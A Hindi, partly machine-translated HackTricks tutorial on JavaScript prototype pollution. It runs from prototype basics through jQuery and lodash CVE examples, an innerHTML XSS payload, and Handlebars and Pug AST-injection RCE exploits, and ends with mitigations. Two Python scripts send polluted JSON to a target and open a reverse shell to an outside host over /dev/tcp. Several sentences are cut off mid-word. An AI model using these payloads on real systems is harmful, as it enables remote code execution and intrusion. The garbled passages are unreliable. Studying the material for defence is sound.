NodeJS - __proto__ & prototype Pollution

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

JavaScript में ऑब्ज

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

एक खाली ऑब्जेक्ट एक खाली शब्दकोश के समान है, जिसे {} के रूप में प्रस्तुत किया जाता है।

जावास्क्रिप्ट में फंक्शन और क्लासेस

जावास्क्रिप्ट में, क्लासेस और फंक्शन गहरे रूप से जुड़े होते हैं, जहां फंक्शन अक्सर क्लास के लिए निर्माता के रूप में कार्य करते हैं। जावास्क्रिप्ट की प्राकृतिक क्लास समर्थन के बावजूद, निर्माताओं के द्वारा क्लास व्यवहार का अनुकरण कर सकते हैं।

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

JavaScript में प्रोटोटाइप

JavaScript द्वारा रनटाइम में प्रोटोटाइप विशेषताओं का संशोधन, जोड़ना या हटाना संभव है। यह लचीलाता वर्ग की कार्यक्षमताओं का गतिशील विस्तार संभावित बनाता है।

toString और valueOf जैसे फ़ंक्शन का व्यवहार बदलने के लिए संशोधित किया जा सकता है, जो JavaScript के प्रोटोटाइप प्रणाली की लचीलता को प्रदर्शित करता है।

विरासत

प्रोटोटाइप-आधारित प्रोग्रामिंग में, गुण/विधियाँ वर्गों से ऑब्जेक्ट्स द्वारा विरासत में ली जाती हैं। ये वर्ग उस वर्ग के एक उदाहरण या एक खाली ऑब्ज

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

ऑब्जेक्ट प्रोटोटाइप तक पहुंच इसके जरिए संभव है:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

जब Object prototype में properties जोड़ दिए जाते हैं, तो हर JavaScript object इन नए properties को वारिस्त करेगा:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

प्रोटोटाइप पोल्लुशन

जहां __proto__ उपयोग पर प्रतिबंध लगाया गया है, फ़ंक्शन के प्रोटोटाइप को संशोधित करना एक विकल्प है:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

यह केवल Vehicle कंस्ट्रक्टर से बनाए गए ऑब्जेक्ट्स पर प्रभाव डालता है, जिन्हें beep, hasWheels, honk, और isElectric प्रॉपर्टीज़ देता है।

जावास्क्रिप्ट ऑब्जेक्ट्स को वैश्विक रूप से प्रभावित करने के लिए दो तरीके शामिल हैं:

  1. Object.prototype को सीधे प्रदूषणित करना:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. एक बहुत ही आम संरचना के constructor का prototype प्रदूषण करना:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

After these operations, हर JavaScript object goodbye और greet methods को execute कर सकता है।

अन्य objects को प्रदूषित करना

एक class से Object.prototype तक

एक scenario में जहाँ आप एक विशिष्ट object को प्रदूषित कर सकते हैं और आपको Object.prototype तक पहुंचने की आवश्यकता है तो आप इसे निम्नलिखित कोड के साथ खोज सकते हैं:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

एरे तत्व प्रदूषण

ध्यान दें कि आप जेएस में ऑब्जेक्ट के गुणों को प्रदूषित कर सकते हैं, अगर आपके पास एक एरे को प्रदूषित करने का एक्सेस है तो आप एरे के मानों को भी प्रदूषित कर सकते हैं जिनका एक्सेस इंडेक्स के द्वारा होता है (ध्यान दें कि आप मानों को अधिलेखित नहीं कर सकते, इसलिए आपको उन इंडेक्स को प्रदूषित करने की आवश्यकता है जो किसी प्रकार से उपयोग किए जाते हैं लेकिन लिखे नहीं जाते हैं)।

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

JS के माध्यम से HTML element उत्पन्न करते समय innerHTML विशेषता को अधिकारिक HTML कोड लिखने के लिए अधिलेखित किया जा सकता है। इस लेख से विचार और उदाहरण

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

उदाहरण

मूल उदाहरण

प्रोटोटाइप प्रदूषण एक दोष के कारण होता है जो एप्लिकेशन में विशेषता को Object.prototype पर लिखने की अनुमति देता है। इसका मतलब है कि क्योंकि अधिकांश ऑब्ज

if (user.admin) {

यदि गुणवत्ता admin अपरिभाषित है तो एक PP का दुरुपयोग करके इसे सत्य में सेट करना संभव है:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

इसके मेकेनिज़्म का पीछा करने में शामिल है कि गुणों को मनिपुलेट करना जिससे अगर किसी हमलावर के पास कुछ निर्दिष्ट इनपुट के उपर नियंत्रण हो, तो वे एप्लिकेशन में सभी ऑब्ज

customer.__proto__.toString = ()=>{alert("polluted")}

Proto प्रदूषण से RCE तक

pagePrototype Pollution to RCE

क्लाइंट-साइड प्रोटोटाइप प्रदूषण से XSS तक

pageClient Side Prototype Pollution

CVE-2019–11358: jQuery $ .extend के माध्यम से प्रोटोटाइप प्रदूषण हमला

अधिक विवरण के लिए इस लेख की जाँच करें jQuery में, $ .extend फ़ंक्शन गहरी कॉपी सुविधा का गलत तरीके से उपयोग किया जाए तो प्रोटोटाइप प्रदूषण का कारण बन सकता है। यह फ़ंक्शन आम तौर पर ऑब्जेक्ट क्लोनिंग या डिफ़ॉल्ट ऑब्जेक्ट से गुणों को मर्ज करने के लिए उपयोग किया जाता है। हालांकि, गलत रूप से कॉन्फ़िगर किया जाए, नए ऑब्ज

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

यह वंरुल्नरबिलिटी, जिसे CVE-2019–11358 के रूप में पहचाना गया है, दिखाती है कि एक गहरी कॉपी अनजाने में प्रोटोटाइप को संशोधित कर सकती है, जिससे सुरक्षा जोखिमों का सामना करना पड़ सकता है, जैसे अनधिकृत एडमिन एक्सेस अगर isAdmin जैसी गुणवत्ताएँ सही अस्तित्व सत्यापन के बिना जांची जाती हैं।

CVE-2018–3721, CVE-2019–10744: लोडाश के माध्यम से प्रोटोटाइप पोल्लुशन हमला

अधिक विवरण के लिए इस लेख की जाँच करें

Lodash ने समान प्रोटोटाइप पोल्लुशन वंरुल्नरबिलिटीज़ (CVE-2018–3721, CVE-2019–10744) का सामना किया। इन मुद्दों को संस्करण 4.17.11 में संशोधित किया गया था।

एक और ट्यूटोरियल जिसमें CVEs हैं

प्रोटोटाइप पोल्लुशन का पता लगाने के लिए उपकरण

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: वेब एप्लिकेशन में सर्वर-साइड प्रोटोटाइप पोल्लुशन वंरुल्नरबिलिटीज़ का पता लगाने और विश्लेषण करने के लिए बनाया गया बर्प स्यूट एक्सटेंशन। यह उपकरण स्कैनिंग अनुरोधों की प्रोटोटाइप पोल्लुशन समस्याओं की पहचान की प्रक्रिया को स्वचालित करता है। यह ज्ञात गैजेट्स का उपयोग करता है - प्रोटोटाइप पोल्लुशन को हानिकारक क्रियाएँ करने के लिए उपयोग करने के तरीके। विशेष रूप से नोड.जेएस पुस्तकालयों पर ध्यान केंद्रित करता है।

  • server-side-prototype-pollution: यह एक्सटेंशन सर्वर साइड प्रोटोटाइप पोल्लुशन वंरुल्नरबिलिटीज़ की पहचान करता है। यह सर्वर साइड प्रोटोटाइप पोल्लुशन में वर्णित तकनीकों का उपयोग करता है।

नोडजेएस में AST प्रोटोटाइप पोल्लुशन

नोडजेएस जावास्क्रिप्ट में टेम्पलेट इंजन्स और टाइपस्क्रिप्ट जैसी फ़ंक्शनलिटीज़ के लिए एब्स्ट्रैक्ट सिंटैक्स ट्रीज़ (AST) का व्यापक उपयोग करता है। यह खंड टेम्पलेट इंजन्स, विशेष रूप से हैंडलबार्स और पग में प्रोटोटाइप पोल्लुशन से संबंधित वंरुल्नरबिलिटीज़ की जांच करता है।

हैंडलबार्स वंरुल्नरबिलिटी विश्लेषण

हैंडलबार्स टेम्पलेट इंजन एक प्रोटोटाइप पोल्लुशन हमले के लिए संवेदनशील है। यह वंरुल्नरबिलिटी javascript-compiler.js फ़ाइल के भीतर विशिष्ट फ़ंक्शनों से उत्पन्न होती है। उदाहरण के लिए, appendContent फ़ंक्शन, यदि यह मौजूद है, तो pendingContent को जोड़ता है, जबकि pushSource फ़ंक्शन स्रोत को जोड़ने के बाद pendingContent को undefined पर रीसेट करता है।

शोषण प्रक्रिया

शोषण AST (एब्स्ट्रैक्ट सिंटैक्स ट्री) का उपयोग करता है, हैंडलबार्स द्वारा उत्पन्न, निम्नलिखित चरणों का पालन करता है:

  1. पार्सर का उपयोग: पहले, पार्सर, NumberLiteral नोड के माध्यम से मानों को संख्यात्मक बनाता है। प्रोटोटाइप पोल्लुशन इसे चक्कर में डाल सकता है, जिससे गैर-संख्यात्मक स्ट्रिंग्स को डाला जा सके।

  2. कंपाइलर द्वारा हैंडलिंग: कंपाइलर एक AST ऑब्जेक्ट या एक स्ट्रिंग टेम्पलेट को प्रोसेस कर सकता है। यदि input.type Program के बराबर है, तो इनपुट को पूर्व-पार्स किया जाता है, जिसे शोषित किया जा सकता है।

  3. कोड का डालना: Object.prototype के द्वारा शोषण के माध्यम से कोड डाला जा सकता है, जिससे टेम्पलेट फ़ंक्शन में दूरस्थ कोड निष्पादित हो सकता है।

हैंडलबार्स वंरुल्नरबिलिटी के शोषण का उदाहरण:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

यह कोड दिखाता है कि एक हमलावर कैसे Handlebars टेम्पलेट में विचित्र कोड इंजेक्ट कर सकता है।

बाहरी संदर्भ: 'flat' पुस्तकालय में प्रोटोटाइप प्रदूषण से संबंधित एक मुद्दा मिला था, जिसका विवरण यहाँ दिया गया है: गिटहब पर मुद्दा

बाहरी संदर्भ: प्रोटोटाइप प्रदूषण से संबंधित मुद्दा 'flat' पुस्तकालय में

पायथन में प्रोटोटाइप प्रदूषण उत्पीड़न का उदाहरण:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug सुरक्षितता दोष

Pug, एक और टेम्पलेट इंजन, प्रोटोटाइप पोल्लूशन का एक समान जोखिम उठाता है। विस्तृत जानकारी AST Injection in Pug पर चर्चा में उपलब्ध है।

Pug में प्रोटोटाइप पोल्लूशन का उदाहरण:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

प्रतिबंधात्मक उपाय

प्रोटोटाइप प्रदूषण के जोखिम को कम करने के लिए, नीचे दी गई रणनीतियों का उपयोग किया जा सकता है:

  1. ऑब्जेक्ट अपरिवर्तनीयता: Object.freeze लागू करके Object.prototype को अपरिवर्तनीय बनाया जा सकता है।

  2. इनपुट मान्यता: JSON इनपुट को अनुपालन करना चाहिए एप्लिकेशन के स्कीमा के साथ।

  3. सुरक्षित मर्ज फ़ंक्शन: असुरक्षित रूप से रिकर्सिव मर्ज फ़ंक्शन का उपयोग नहीं किया जाना चाहिए।

  4. प्रोटोटाइप-रहित ऑब्जेक्ट्स: Object.create(null) का उपयोग करके प्रोटोटाइप गुणों के बिना ऑब्जेक्ट्स बनाए जा सकते हैं।

  5. मैप का उपयोग: Object की बजाय, कुंजी-मान-जोड़े संग्रहण के लिए Map का उपयोग किया जाना चाहिए।

  6. लाइब्रेरी अपडेट्स: सुरक्षा पैच को नियमित रूप से अपडेट करके शामिल किया जा सकता है।

  7. लिंटर और स्थिर विश्लेषण उपकरण: प्रोटोटाइप प्रदूषण की जोखिमों का पता लगाने और रोकने के लिए ESLint जैसे उपकरणों का उपयोग करें।

  8. कोड समीक्षा: प्रोटोटाइप प्रदूषण से संबंधित संभावित जोखिमों की पहचान और सुधार के लिए व्यापक कोड समीक्षा को लागू करें।

  9. सुरक्षा प्रशिक्षण: डेवलपर्स को प्रोटोटाइप प्रदूषण के जोखिमों और सुरक्षित कोड लिखने के लिए उत्तम प्रथाओं के बारे में शिक्षित करें।

  10. सतर्कता के साथ पुस्तकालयों का उपयोग: तीसरे पक्ष की पुस्तकालयों का उपयोग करते समय सतर्क रहें। उनकी सुरक्षा स्थिति का मूल्यांकन करें और उनके कोड की समीक्षा करें, विशेष रूप से वे जो ऑब्जेक्ट्स को संशोधित कर रहे हों।

  11. रनटाइम सुरक्षा: सुरक्षा-केंद्रित npm पैकेज का उपयोग करके प्रोटोटाइप प्रदूषण हमलों को पहचानने और रोकने के लिए रनटाइम सुरक्षा तंत्र का उपयोग करें।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated